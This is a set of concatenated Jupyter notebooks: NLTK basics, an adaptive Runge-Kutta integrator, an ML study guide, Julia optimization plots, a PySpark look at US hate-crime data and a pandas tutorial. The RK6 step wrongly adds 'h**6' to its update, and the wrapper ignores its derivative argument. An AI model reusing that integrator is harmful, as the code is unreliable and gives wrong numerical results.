return len(set(text)) / len(text)
def percentage(count, total):
return 100 * count / total
# -
lexical_diversity(text5)
# !jt -r
sent1
text3.index('day')
text5[16715:16735]
text2[141525:]
saying = ['After', 'all', 'is', 'said', 'and', 'done', 'more', 'is', 'said', 'than', 'done']
tokens = set(saying)
tokens = sorted(tokens)
tokens
fdist1 = FreqDist(text1)
print(fdist1)
fdist.plot()
fdist1.most_common(10)
fdist1["whale"]
fdist1.plot(50, cumulative=50)
fdist1.hapaxes()
V = set(text1)
long_words = [w for w in V if len(w) > 15]
sorted(long_words)
fdist5 = FreqDist(text5)
sorted(w for w in set(text5) if len(w) > 7 and fdist5[w] > 7)
list(bigrams(['more', 'is', 'said', 'than', 'done']))
text4.collocations()
text8.collocations()
[len(w) for w in text1]
fdist = FreqDist(len(w) for w in text1)
print(fdist)
fdist
fdist.most_common()
[w.upper() for w in text1]
[i for i in text1[:10] if i.isalpha()]
| notebooks/eda/.ipynb_checkpoints/nltk_ch01-checkpoint.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Runge-Kutta integration for multiple coupled variables
# %matplotlib inline
import matplotlib.pyplot as plt
import numpy as np
def dydx(x,y):
#set the derivatives
#our equation is d^2y/dx^2 = -y
#so we can write
#dydx = z
#dzdx = -y
#we will set y = y[0]
#we will set z = y[1]
#declare an array
y_derivs = np.zeros(2)
#set dydx = z
y_derivs[0] = y[1]
#set dzdx = -y
y_derivs[1] = -1*y[0]
return y_derivs
# ## Define 6th order RK
def rk6_mv_core(dydx,xi,yi,nv,h):
#declare k? arrays
k1 = np.zeros(nv)
k2 = np.zeros(nv)
k3 = np.zeros(nv)
k4 = np.zeros(nv)
k5 = np.zeros(nv)
k6 = np.zeros(nv)
#declare a temp y array
y_temp = np.zeros(nv)
#get k1 values
y_derivs = dydx(xi,yi)
k1[:] = h*y_derivs[:]
#get k2 values
y_temp[:] = yi[:] + 1/5*k1[:]
y_derivs = dydx(xi+1/5*h,y_temp)
k2[:] = h*y_derivs[:]
#get k3 values
y_temp[:] = yi[:] + 3/40*k1[:] + 9/40*k2[:]
y_derivs = dydx(xi+3/10*h,y_temp)
k3[:] = h*y_derivs[:]
#get k4 values
y_temp[:] = yi[:] + 3/10*k1[:] + (-9/10)*k2[:] + 6/5*k3[:]
y_derivs = dydx(xi+3/5*h,y_temp)
k4[:] = h*y_derivs[:]
#get k5 values
y_temp[:] = yi[:] +(-11/54)*k1[:] + 5/2*k2[:] + (-70/27)*k3[:] + 35/27*k4[:]
y_derivs = dydx(xi+h,y_temp)
k5[:] = h*y_derivs[:]
#get k6 values
y_temp[:] = yi[:] + 1631/55296*k1[:] + 175/512*k2[:] + 575/13824*k3[:] + 44275/110592*k4[:] + 253/4096*k5[:]
y_derivs = dydx(xi+7/8*h,y_temp)
k6[:] = h*y_derivs[:]
#advance y by a step h
yipo = yi + 37/378*k1 + 250/621*k3 + 125/594*k4 + 512/1771*k6 + h**6
return yipo
# ## Define an adaptive step size driver for RK6
#
#
# +
def rk6_mv_ad(dydx,x_i,y_i,nv,h,tol):
#define safety scale
SAFETY = 0.9
H_NEW_FAC = 2.0
#set a maximum number of iterations
imax = 10000
#set an iteration variable
i=0
#create an error
Delta = np.full(nv,2*tol)
#remember the step
h_step = h
#adjust step
while(Delta.max()/tol > 1.0):
#estimate our error by taking one step of size h
#vs. two steps of size h/2
y_2 = rk6_mv_core(dydx,x_i,y_i,nv,h_step)
y_1 = rk6_mv_core(dydx,x_i,y_i,nv,0.5*h_step)
y_11 = rk6_mv_core(dydx,x_i +0.5*h_step,y_1,nv,0.5*h_step)
#compute an error
Delta = np.fabs(y_2 - y_11)
#if the error is too large, take a smaller step
if(Delta.max()/tol>1.0):
#our error is too large, devrease the step
h_step *= SAFETY * (Delta.max()/tol)**(-0.25)
#check iteration
if(i>=imax):
print("Too many iterations in rk6_mv_ad()")
raise StopIteration("Ending after i = ", i)
#iterate
i+=1
h_new = np.fmin(h_step * (Delta.max()/tol)**(-0.9), h_step*H_NEW_FAC)
return y_2, h_new, h_step
# -
# ## Define a wrapper for RK6
def rk6_mv(dfdx,a,b,y_a,tol):
#dfdx is the derivative wrt x
#a is the lower bound
#b is the upper bound
#y_a are the boundary conditions
#tol is the tolerance for integrating y
#define our starting step
xi=a
yi=y_a.copy()
h = 1.0e-4 *(b-a)
imax=10000
i = 0
nv = len(y_a)
x = np.full(1,a)
y = np.full((1,nv),y_a)
flag = 1
while(flag):
yi_new, h_new, h_step = rk6_mv_ad(dydx,xi,yi,nv,h,tol)
h= h_new
if(xi+h_step>b):
h = b-xi
yi_new, h_new, h_step = rk6_mv_ad(dydx,xi,yi,nv,h,tol)
flag = 0
xi += h_step
yi[:] = yi_new[:]
x = np.append(x,xi)
y_new = np.zeros((len(x),nv))
y_new[0:len(x)-1,:] = y
y_new[-1,:] = yi[:]
del y
y = y_new
if(i>=imax):
print("Maximum iterations reached.")
raise StopIteration("Iteration number = ",i)
i += 1
s = "i = %3d\tx = %9.8f\th = %9.8f\tb=%9.8f" % (i,xi, h_step,b)
print(s)
if(xi==b):
flag = 0
return x,y
# +
a = 0.0
b = 2.0 *np.pi
y_0 = np.zeros(2)
y_0[0] = 0.0
y_0[1] = 1.0
nv = 2
tolerance = 1.0e-6
x,y = rk6_mv(dydx,a,b,y_0,tolerance)
# -
plt.plot(x,y[:,0],'o',label='y(x)')
plt.plot(x,y[:,1],'o',label='dydx(x)')
xx = np.linspace(0,2.0*np.pi,1000)
plt.plot(xx,np.sin(xx),label='sin(x)')
plt.plot(xx,np.cos(xx),label='cos(x)')
plt.xlabel('x')
plt.ylabel('y,dy/dx')
plt.legend(frameon=False)
# +
sine = np.sin(x)
cosine = np.cos(x)
y_error = (y[:,0]-sine)
dydx_error = (y[:,1]-cosine)
plt.plot(x,y_error,label="y(x) Error")
plt.plot(x,dydx_error,label="dydx(x) Error")
plt.legend(frameon=False)
# -
| 119HW #5.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Study Path And Where To Find Resources
# **Author: <NAME>**
#
# Welcome aboard!
# AI is one of the most prospective fields today. Personally I believe AI technology will start a technology revolution and totally revamp the world as well as our lives.
# The definition of AI is broad, in AIwaffle Courses, *AI*, *Machine Learning*, *Deep Learning* means similar things, since deep learning is the mostly focused subfield in ML, which is the basis of AI technology.
# To get started in Machine Learning, there is some basic skills you should acquire.
# ## Python
# If you don't know what is this, why are you reading? Go learn it first!
# ## Linear Algebra: vectors, matrix multiplication
# The AIwaffle Courses only require a subset of linear algebra.
# If you know vectors and matrix multiplication, you are good to go.
#
# Useful resources:
# https://www.khanacademy.org/math/linear-algebra
# https://brilliant.org/wiki/matrices/
# ## Calculus: partial derivitives, gradients
# That's all you need for now.
#
# Useful resources:
# https://www.khanacademy.org/math/multivariable-calculus
# https://brilliant.org/wiki/partial-derivatives/
# ## Libraries for ML
# **Must**: [Numpy](https://numpy.org/), [Pytorch](https://pytorch.org/)
# Graphing library like: [Matplotlib](https://matplotlib.org/) or its high-level API [Seaborn](http://seaborn.pydata.org/index.html) or others.
#
# Remember: You don't have to be proficient at them.
# The AIwaffle Courses will also lead you through Pytorch. The best is: if you are good at self-studying, skip AIwaffle Course 2-7 by going to pytorch.org
# ## Other Useful Resources
# Videos from 3b1b - Make sure to watch them before you start an AIwaffle Course! These videos give you an intuitive understanding on *Neural Networks* and *Deep Learning*.
# [Youtube](https://www.youtube.com/playlist?list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi) | [bilibili](https://space.bilibili.com/88461692/channel/detail?cid=26587)
#
# [Google Machine Learning Glossary](https://developers.google.com/machine-learning/glossary/) for you geeks
#
# [A lot of ML Cheat Sheets](https://becominghuman.ai/cheat-sheets-for-ai-neural-networks-machine-learning-deep-learning-big-data-science-pdf-f22dc900d2d7): Most of them are useless. Use at your own risk.
#
# ## Where to ask questions
# Create an issue in our [Github repo](https://github.com/AIwaffle/AIwaffle)
# Ask in our Forum: TBD
# Send an email to <EMAIL>
#
# Enough talk, jump into the next AIwaffle Course **Pytorch: Tensor Manipulation** to get your hands dirty!
| Courses/study-path-and-where-to-find-resources.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .jl
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Julia 1.4.0
# language: julia
# name: julia-1.4
# ---
using Plots
gr()
include("Project1_jl/helpers.jl")
include("Project1_jl/project1.jl")
include("Project1_jl/simple.jl")
# +
# rgrad = rosenbrock_gradient(vec([0 0]))
# r = rosenbrock(vec([0 0]))
# x0r = rosenbrock_init();
# Rosenbrock contours
sample_init = [[1,1], [1, -1], [-2, 2]]
plotx = -10:10
ploty = -10:10
# plot(plotx, ploty, seriestype = :contour)
# for j in 1:3
# println(sample_init[i])
optimize(rosenbrock, rosenbrock_gradient, vec([2 1]), 20, "simple1")
# optimize(rosenbrock, rosenbrock_gradient, vec([2 1]), 20, "simple1")
# end
# optimize(rosenbrock, rosenbrock_gradient, vec([1 1]), 20, "simple1")
# f_tmp(x) = 1/2*(x'*x)
# fgrd_tmp(x) = x
# optimize(f_tmp, fgrd_tmp, vec([3 3]), 20, "simple1")
# println(t)
# main("simple1", 3, optimize)
# +
#simple 2
# optimize(himmelblau, himmelblau_gradient, himmelblau_init(), 40, "simple2")
# x_history = Array{Array{Float64,1}}(undef, 1)
# println(typeof(x_history))
# sample_init = [[1,1], [1, -1], [-2, 2]]
# plotx = Array{float64}(undef, 1);
plotxy_array = Array{Array{Float64,1}}(undef,1);
rng = 5;
for plotx = -rng:rng
for ploty = -rng:rng
push!(plotxy_array, vec([plotx; ploty]))
end
end
plotxy_array = plotxy_array[2:length(plotxy_array)] #remove undef first term
# println(plotxy_array)
cost = Array{Float64, 1}(undef,1)
for j = 1:length(plotxy_array)
push!(cost, rosenbrock(plotxy_array[j]))
end
cost = cost[2:length(cost)]
xydat = reshape(hcat(plotxy_array...), (length(plotxy_array[1]), length(plotxy_array)))'
size(cost)
# plot(xydat[:,1], xydat[:,2], cost)
# plot(plotxy_array, rosenbrock, seriestype = :contour)
# for i = 1: length(plotxy_array)
#functional but not contour
# plot(xydat[:,1], xydat[:,2], rosenbrock.(plotxy_array))
my_ros(x...) = rosenbrock(collect(x))
rng = 5
res = 0.1
x = -rng:res:rng
y = -rng:res:rng
plot(x, y, my_ros, st = :contour, levels = [0 1])
# end
# size(rosenbrock.(plotxy_array))
# rosenbrock(plotxy_array[1])
# println(plotxy_array)
# contour(xydat[:,1], xydat[:,2], cost)
# +
empty!(COUNTERS)
x_hist = optimize_hist(rosenbrock, rosenbrock_gradient, vec([5 1]), 20, "simple1");
x_hist_coll = hcat(x_hist...)';
plot!(x_hist_coll[:,1], x_hist_coll[:,2], c = :red)
empty!(COUNTERS)
x_hist = optimize_hist(rosenbrock, rosenbrock_gradient, vec([-5 -1]), 20, "simple1");
x_hist_coll = hcat(x_hist...)';
plot!(x_hist_coll[:,1], x_hist_coll[:,2], c = :green)
empty!(COUNTERS)
x_hist = optimize_hist(rosenbrock, rosenbrock_gradient, vec([-1 4]), 20, "simple1");
x_hist_coll = hcat(x_hist...)';
plot!(x_hist_coll[:,1], x_hist_coll[:,2], c = :blue)
# -
savefig("RosenbrockPaths.pdf")
#Rosenbrock convergence
empty!(COUNTERS)
x_hist = optimize_hist(rosenbrock, rosenbrock_gradient, rosenbrock_init(), 20, "simple1");
x_hist_coll = hcat(x_hist...)';
plot(rosenbrock.(x_hist))
xlabel!("steps")
ylabel!("cost")
title!("Rosenbrock convergence")
savefig("Rosenbrock_Convergence.pdf")
#himmelblau convergence
empty!(COUNTERS)
x_hist = optimize_hist(himmelblau, himmelblau_gradient, himmelblau_init(), 40, "simple2");
x_hist_coll = hcat(x_hist...)';
plot(himmelblau.(x_hist))
xlabel!("steps")
ylabel!("cost")
title!("himmelblau convergence")
savefig("Himmelblau_Convergence.png")
#powell convergence
empty!(COUNTERS)
x_hist = optimize_hist(powell, powell_gradient, powell_init(), 100, "simple3");
x_hist_coll = hcat(x_hist...)';
plot(powell.(x_hist))
xlabel!("steps")
ylabel!("cost")
title!("Powell convergence")
savefig("Powell_Convergence.png")
f(x, y) = x*y
x = -10:10
y = -10:10
# typeof(y)
# +
# plot(x, y, f, seriestype = :contour)
# +
# plot(x, y, f, seriestype = :contour, levels = [-1, 1])
# +
# path = [2*randn(2) for i in 1:10]
# path = Tuple.(path)
# plot!(path, c = :black)
# -
savefig("myfancyplot.pdf")
| .ipynb_checkpoints/Project1_Draft1-checkpoint.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Crime project report
#
# In this report, we are going to examine hate crime data from the United States between the years of 1991-2020.
# +
import pandas as pd
import seaborn as sns
import sklearn
import matplotlib as plt
from matplotlib import colors
from matplotlib import pyplot
import squarify
import pyspark
from pyspark import SparkConf, SparkContext
from pyspark.sql import SparkSession
# -
spark = SparkSession.builder \
.master('local') \
.appName('crime_project') \
.getOrCreate()
df = pd.read_csv('hate_crime/hate_crime.csv')
df.head()
len(df)
# As we can see, we have a dataframe with 28 rows and 219,073 rows. The first thing we are going to do is to do some date exploration to find out more about the data.
#
# ### Data Exploration
full_data = spark.read.csv('hate_crime/hate_crime.csv', header = True)
full_data.createOrReplaceTempView('full_data')
# First, we are going to see how many entries we have in each year:
# +
incidents_year = spark.sql("SELECT DATA_YEAR AS YEAR, COUNT(INCIDENT_ID) AS INCIDENTS_PER_YEAR FROM FULL_DATA GROUP BY DATA_YEAR ORDER BY DATA_YEAR ASC")
incidents_year.show(30)
pd_incidents_year = incidents_year.toPandas()
# -
plt.pyplot.figure(figsize=(15,15))
sns.barplot(x = 'YEAR',
y = 'INCIDENTS_PER_YEAR',
data = pd_incidents_year,
color = 'blue')
# We can see from the bar plot that there is a lot of variation in the data. We have a peak around 2001, which is likely to correspond with the anti-Muslim sentiment that came with 9/11. The crimes stabilized until 2008, which is when the US got it's first Black president. And then we see the trend reversed, and hate crimes start going up again around 2016, which is when Barack Obama was replaced by Donald Trump in the White House. We are also currently experience a peak in hate crimes in the past 30 years.
#
# Next, it is interesting to see what different victim groups the data mentions, and then we can check to see which group had the most hate crimes against them for a particular year.
spark.sql("SELECT DISTINCT(BIAS_DESC) FROM FULL_DATA").show(truncate = False)
# So for the bias or racial motivation, the data is collected as a list of different biases that were present in the crime. We can check to see how many different combinations of biases we have in the data:
full_data.select('BIAS_DESC') \
.groupBy('BIAS_DESC') \
.count() \
.orderBy('count', ascending = False) \
.filter('count > 500') \
.show(40,truncate = False)
spark.sql("""
SELECT first(BIAS_DESC) AS VICTIM_GROUP, DATA_YEAR, max(NUMBER_OF_INCIDENTS)
FROM (SELECT BIAS_DESC, DATA_YEAR, COUNT(DATA_YEAR) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
GROUP BY BIAS_DESC, DATA_YEAR
ORDER BY DATA_YEAR ASC, NUMBER_OF_INCIDENTS DESC)
GROUP BY DATA_YEAR
ORDER BY DATA_YEAR ASC
""").show(30, False)
# Based on this query, we can see that for all years since 1991, there were more hate crimes against African-Americans than any other groups. It is also interesting to check the next highest group for each year.
spark.sql("""
SELECT first(BIAS_DESC) AS VICTIM_GROUP, DATA_YEAR, max(NUMBER_OF_INCIDENTS)
FROM (SELECT BIAS_DESC, DATA_YEAR, COUNT(DATA_YEAR) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
GROUP BY BIAS_DESC, DATA_YEAR
ORDER BY DATA_YEAR ASC, NUMBER_OF_INCIDENTS DESC)
WHERE BIAS_DESC NOT LIKE 'Anti-Black or African American'
GROUP BY DATA_YEAR
ORDER BY DATA_YEAR ASC
""").show(30, False)
# For the most part, the second largest victim groups for each year are White and Jewish.
#
# We can also segment the data by location. So next, we are going to check which states have the most number of hate crimes:
# +
incidents_by_location = spark.sql("""
SELECT STATE_NAME, count(STATE_NAME) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
GROUP BY STATE_NAME
ORDER BY NUMBER_OF_INCIDENTS DESC
""").toPandas()
norm = plt.colors.Normalize(vmin = min(incidents_by_location.NUMBER_OF_INCIDENTS), vmax = max(incidents_by_location.NUMBER_OF_INCIDENTS))
colors = [plt.cm.BuGn(norm(value)) for value in incidents_by_location.NUMBER_OF_INCIDENTS]
plt.pyplot.figure(figsize=(15,15))
squarify.plot(label = incidents_by_location.STATE_NAME, sizes = incidents_by_location.NUMBER_OF_INCIDENTS, color = colors)
# -
# What is most obvious in this plot is the discrepancy in hate crime numbers by state. There are 3 states that have the most number of incidents: California, New Jersey, and New York.
#
# The next thing we can investigate is finding out the group that is the victim of the most hate crimes in every state:
spark.sql("""
SELECT STATE_NAME, first(BIAS_DESC), max(NUMBER_OF_INCIDENTS)
FROM (SELECT BIAS_DESC, STATE_NAME, COUNT(STATE_NAME) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
GROUP BY STATE_NAME, BIAS_DESC
ORDER BY STATE_NAME ASC, NUMBER_OF_INCIDENTS DESC)
GROUP BY STATE_NAME
ORDER BY STATE_NAME ASC
""").show(52, False)
# As we had previously seen, in most states, the groups that have suffered the most hate crimes are African-Americans. Some states however, have other groups and so we should check to see what those states are:
spark.sql("""
SELECT STATE_NAME, BIAS_DESC, NUMBER_OF_INCIDENTS
FROM (SELECT STATE_NAME, first(BIAS_DESC) AS BIAS_DESC, max(NUMBER_OF_INCIDENTS) AS NUMBER_OF_INCIDENTS
FROM (SELECT BIAS_DESC, STATE_NAME, COUNT(STATE_NAME) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
GROUP BY STATE_NAME, BIAS_DESC
ORDER BY STATE_NAME ASC, NUMBER_OF_INCIDENTS DESC)
GROUP BY STATE_NAME
ORDER BY STATE_NAME ASC)
WHERE BIAS_DESC NOT LIKE "Anti-Black or African American"
""").show(52, False)
# Most of the states that feature in this table are relatively smaller in population. The one exception to that is New York, which has a very high number of hate crimes against Jewish people in the past 30 years.
#
# We can now investigate the different types of offenses in the dataset, we are going to focus on the top 10 types:
type_of_incident = spark.sql("""
SELECT OFFENSE_NAME, COUNT(INCIDENT_ID) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
GROUP BY OFFENSE_NAME
ORDER BY NUMBER_OF_INCIDENTS DESC
""") \
.toPandas()
# +
norm = plt.colors.Normalize(vmin = min(type_of_incident.NUMBER_OF_INCIDENTS), vmax = max(type_of_incident.NUMBER_OF_INCIDENTS))
colors = [plt.cm.BuGn(norm(value)) for value in type_of_incident.NUMBER_OF_INCIDENTS]
plt.pyplot.figure(figsize=(15,15))
squarify.plot(label = type_of_incident.OFFENSE_NAME[:10], sizes = incidents_by_location.NUMBER_OF_INCIDENTS[:10], color = colors)
# -
# Again, there is a lot of variation in the data between the 10 highest offense types. We can see that the highest one is destruction of property, and the 10th highest type of offense is drug/narcotic violation.
#
# We are now going to take a look at the agencies that make the arrests:
spark.sql("""
SELECT COUNT(DISTINCT(PUB_AGENCY_NAME))
FROM FULL_DATA
""").show()
# We can see that we have over 6500 different agencies, we can now check to see the top 10 in terms of arrests:
spark.sql("""
SELECT PUB_AGENCY_NAME, COUNT(INCIDENT_ID) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
GROUP BY PUB_AGENCY_NAME
ORDER BY NUMBER_OF_INCIDENTS DESC
LIMIT 10
""").show(truncate = False)
# This agency name gives us more granular data on where the crimes are taking place, since they denominate city police agencies names. So we are going to combine this data to check on the largest 3 states in terms of crime: California, New York, and New Jersey. We will check to see the cities with the most number of crimes within those states:
plt.pyplot.figure(figsize=(15,15))
CA_crime = spark.sql("""
SELECT PUB_AGENCY_NAME, COUNT(INCIDENT_ID) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
WHERE STATE_NAME LIKE 'California'
GROUP BY PUB_AGENCY_NAME
ORDER BY NUMBER_OF_INCIDENTS DESC
""").toPandas()
plt.pyplot.figure(figsize=(15,15))
_ = sns.barplot(x = 'PUB_AGENCY_NAME',
y = 'NUMBER_OF_INCIDENTS',
data = CA_crime[:20],
color = 'blue')
_.set_xticklabels(_.get_xticklabels(),
rotation = 45,
horizontalalignment = 'right')
_
# +
NY_crime = spark.sql("""
SELECT PUB_AGENCY_NAME, COUNT(INCIDENT_ID) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
WHERE STATE_NAME LIKE 'New York'
GROUP BY PUB_AGENCY_NAME
ORDER BY NUMBER_OF_INCIDENTS DESC
""").toPandas()
plt.pyplot.figure(figsize=(15,15))
_ = sns.barplot(x = 'PUB_AGENCY_NAME',
y = 'NUMBER_OF_INCIDENTS',
data = NY_crime[:20],
color = 'blue')
_.set_xticklabels(_.get_xticklabels(),
rotation = 45,
horizontalalignment = 'right')
_
# +
NJ_crime = spark.sql("""
SELECT PUB_AGENCY_NAME, COUNT(INCIDENT_ID) AS NUMBER_OF_INCIDENTS
FROM FULL_DATA
WHERE STATE_NAME LIKE 'New Jersey'
GROUP BY PUB_AGENCY_NAME
ORDER BY NUMBER_OF_INCIDENTS DESC
""").toPandas()
plt.pyplot.figure(figsize=(15,15))
_ = sns.barplot(x = 'PUB_AGENCY_NAME',
y = 'NUMBER_OF_INCIDENTS',
data = NJ_crime[:20],
color = 'blue')
_.set_xticklabels(_.get_xticklabels(),
rotation = 45,
horizontalalignment = 'right')
_
| data_exploration.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import pandas as pd
import numpy as np
# # 1. 객체 생성
s = pd.Series([1, 3, 5, np.nan, 6, 8])
s
dates = pd.date_range('20200101', periods=6)
dates
df = pd.DataFrame(np.random.randn(6,4), index=dates, columns=list('ABCD'))
df
df2 = pd.DataFrame({'A' : 1.,
'B' : pd.Timestamp('20200102'),
'C' : np.array([3] * 4, dtype = 'int32'),
'E' : pd.Categorical(['test', 'train', 'test', 'train']),
'F' : 'foo'})
df2
df2.dtypes
# # 2. 데이터 확인하기
df.head()
df.tail()
df.columns
df.index
df.describe()
df.T
df.sort_index(axis=1, ascending=False)
df.sort_values(by='B')
# # 3. 선택
# ## 데이터 얻기
df['A']
df[0:2]
df['2020-01-02':'2020-01-05']
# ## Label을 통한 선택
df.loc[dates[0]]
df.loc[:, ['A', 'B']]
df.loc['2020-01-02':'2020-01-04', ['A', 'B']]
df.loc['2020-01-04', ['A', 'B']]
df.loc[dates[0], 'A']
df.at[dates[0], 'A']
# ## 위치로 선택
df.iloc[3]
df.iloc[3:5, 0:2]
df.iloc[[1,2,4], [0,2]]
df.iloc[1:3,:]
df.iloc[:,1:3]
df.iloc[1,1]
df.iat[1,1]
# ## Boolean Indexing
df[df.A > 0]
df[df>0]
df2 = df.copy()
df2['E'] = ['one', 'one', 'two', 'three', 'four', 'three']
df2
df2[df2['E'].isin(['two', 'four'])]
# ## 설정
s1 = pd.Series([1,2,3,4,5,6], index=pd.date_range('20200102', periods=6))
s1
df['F'] = s1
df
# ### 라벨에 값 설정
df.at[dates[0], 'A'] = 0
df
# ### 위치에 값 설정
df.iat[0,1] = 0
df
df.loc[:, 'D'] = np.array([5] * len(df))
df
# ### where 연산 설정
df2 = df.copy()
df2[df2 > 0] = -df2
df2
# # 4. 결측치
df1 = df.reindex(index=dates[0:4], columns=list(df.columns) + ['E'])
df1.loc[dates[0]:dates[1], 'E'] = 1
df1
df1.dropna(how='any')
df1.fillna(value=5)
pd.isna(df1)
# # 5. 연산
# ## 통계
df.mean()
df.mean(1)
s = pd.Series([1,3,5,np.nan,6,8], index=dates).shift(2)
s
df
df.sub(s, axis='index')
# ## Apply
df.apply(np.cumsum) # 열방향으로 누적합
df.apply(lambda x: x.max() - x.min())
# ## Histogramming
s = pd.Series(np.random.randint(0, 7, size=10))
s
s.value_counts()
# ## 문자열 메소드
s = pd.Series(['A', 'B', 'C', 'Aaba', 'Baca', np.nan, 'CABA', 'dog', 'cat'])
s.str.lower()
# # 6. Merge
# ## concat
df = pd.DataFrame(np.random.randn(10,4))
df
pieces = [df[:3], df[4:7], df[8:]]
pd.concat(pieces)
# ## join
left = pd.DataFrame({'key' : ['foo', 'foo'], 'lval' : [1,2]})
right = pd.DataFrame({'key' : ['foo', 'foo'], 'lval' : [4,5]})
left
right
pd.merge(left, right, on='key')
left = pd.DataFrame({'key' : ['foo', 'bar'], 'lval' : [1,2]})
right = pd.DataFrame({'key' : ['foo', 'bar'], 'lval' : [4,5]})
left
right
pd.merge(left, right, on='key')
# ## Append
df = pd.DataFrame(np.random.randn(8,4), columns=['A', 'B', 'C', 'D'])
df
s = df.iloc[3]
s
df.append(s, ignore_index=True)
# # 7. 그룹화
df = pd.DataFrame(
{
'A' : ['foo', 'bar', 'foo', 'bar', 'foo', 'bar', 'foo', 'foo'],
'B' : ['one', 'one', 'two', 'three', 'two', 'two', 'one', 'three'],
'C' : np.random.randn(8),
'D' : np.random.randn(8)
})
df
df.groupby('A').sum()
df.groupby(['A', 'B']).sum()
# # 8. Reshape
# ## Stack 데이터프레임 열들의 계층을 압축
tuples = list(zip(*[['bar', 'bar', 'baz', 'baz',
'foo', 'foo', 'qux', 'qux'],
['one', 'two', 'one', 'two',
'one', 'two', 'one', 'two']]))
tuples
index = pd.MultiIndex.from_tuples(tuples, names = ['first', 'second'])
df = pd.DataFrame(np.random.randn(8,2), index=index, columns=['A', 'B'])
df2 = df[:4]
df2
stacked = df2.stack()
stacked
stacked.unstack()
stacked.unstack(1)
stacked.unstack(0)
# ## Pivot table
df = pd.DataFrame({'A' : ['one', 'one', 'two', 'three'] * 3,
'B' : ['A', 'B', 'C'] * 4,
'C' : ['foo', 'foo', 'foo', 'bar', 'bar', 'bar'] * 2,
'D' : np.random.randn(12),
'E' : np.random.randn(12)})
df
pd.pivot_table(df, values='D', index=['A', 'B'], columns=['C'])
# # 9. Time Series
rng = pd.date_range('1/1/2020', periods=100, freq='S')
ts = pd.Series(np.random.randint(0,500, len(rng)), index=rng)
ts.resample('5Min').sum()
# ### 시간대 표현
rng = pd.date_range('3/6/2020 00:00', periods=5, freq='D')
ts = pd.Series(np.random.randn(len(rng)), rng)
ts
ts_utc = ts.tz_localize('UTC')
ts_utc
# ### 다른 시간대로 변환
ts_utc.tz_convert('US/Eastern')
# ### 시간 표현 -> 기간 표현으로 변환
rng = pd.date_range('1/1/2020', periods=5, freq='M')
ts = pd.Series(np.random.randn(len(rng)), index=rng)
ts
ps = ts.to_period()
ps
ps.to_timestamp()
# #### 예시. 11월에 끝나는 연말 결산의 분기별 빈도를 분기말 익월의 월말일 오전 9시로 변환
prng = pd.period_range('1990Q1', '2020Q4', freq='Q-NOV')
ts = pd.Series(np.random.randn(len(prng)), prng)
ts.index = (prng.asfreq('M', 'e') + 1).asfreq('H', 's') + 9
ts.head()
# # 10. 범주화
df = pd.DataFrame({'id' : [1,2,3,4,5,6],
'raw_grade' : ['a', 'b', 'b', 'a', 'a', 'e']})
df['grade'] = df['raw_grade'].astype('category')
df['grade']
df["grade"].cat.categories = ["very good", "good", "very bad"]
df["grade"] = df["grade"].cat.set_categories(["very bad", "bad", "medium", "good", "very good"])
df["grade"]
df.sort_values(by='grade')
df.groupby('grade').size()
# # 11. 그래프
import matplotlib.pyplot as plt
% matplotlib inline
ts = pd.Series(np.random.randn(1000), index=pd.date_range('1/1/2020', periods=1000))
ts = ts.cumsum()
ts.plot()
df = pd.DataFrame(np.random.randn(1000, 4), index=ts.index,
columns=['A', 'B', 'C', 'D'])
df = df.cumsum()
plt.figure()
df.plot()
plt.legend(loc='best')
# # 12. 데이터 입출력
# ### csv
df.to_csv('foo.csv')
pd.read_csv('foo.csv').head()
# ### hdf
df.to_hdf('foo.h5', 'df')
pd.read_hdf('foo.h5', 'df').head()
# ### excel
df.to_excel('foo.xlsx', sheet_name='Sheet1')
pd.read_excel('foo.xlsx', 'Sheet1', index_col=None, na_values=['NA']).head()
| [STUDY]Pandas_10minutes to pandas.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: release_polyo
# language: python
# name: release_polyo
# ---
import sys, os
os.nice(15)
import integer_polyomino.assembly as ipa
import integer_polyomino.gpmap as gp
sys.path.append(os.path.join(os.getcwd(), "..", "src", "integer_polyomino", "scripts"))
import graph_topo
import plotly_utilities as pu
import plotly.graph_objs as go
from plotly.offline import init_notebook_mode, iplot
import plotly.figure_factory as ff
import cufflinks as cf
import plotly
import pandas as pd
import numpy as np
import seaborn as sns
# %matplotlib inline
init_notebook_mode(connected=True)
cf.set_config_file(offline=True)
sns.set(style="dark", context="talk")
data_dir = os.path.join(os.getcwd(), "test", "data")
if not os.path.exists(data_dir):
raise ValueError("Specify valid data directory")
# +
p = dict()
p["n_genes"] = 2
p["low_colour"] = 0
p["gen_colour"] = 6
p["high_colour"] = 8
p["threshold"] = 25
p["phenotype_builds"] = p["n_genes"] * 50
p["fixed_table"] = False
p["determinism"] = 1
p["n_jiggle"] = 100
p["table_file"] = os.path.join(data_dir, "PhenotypeTable_D{determinism}.txt".format(**p))
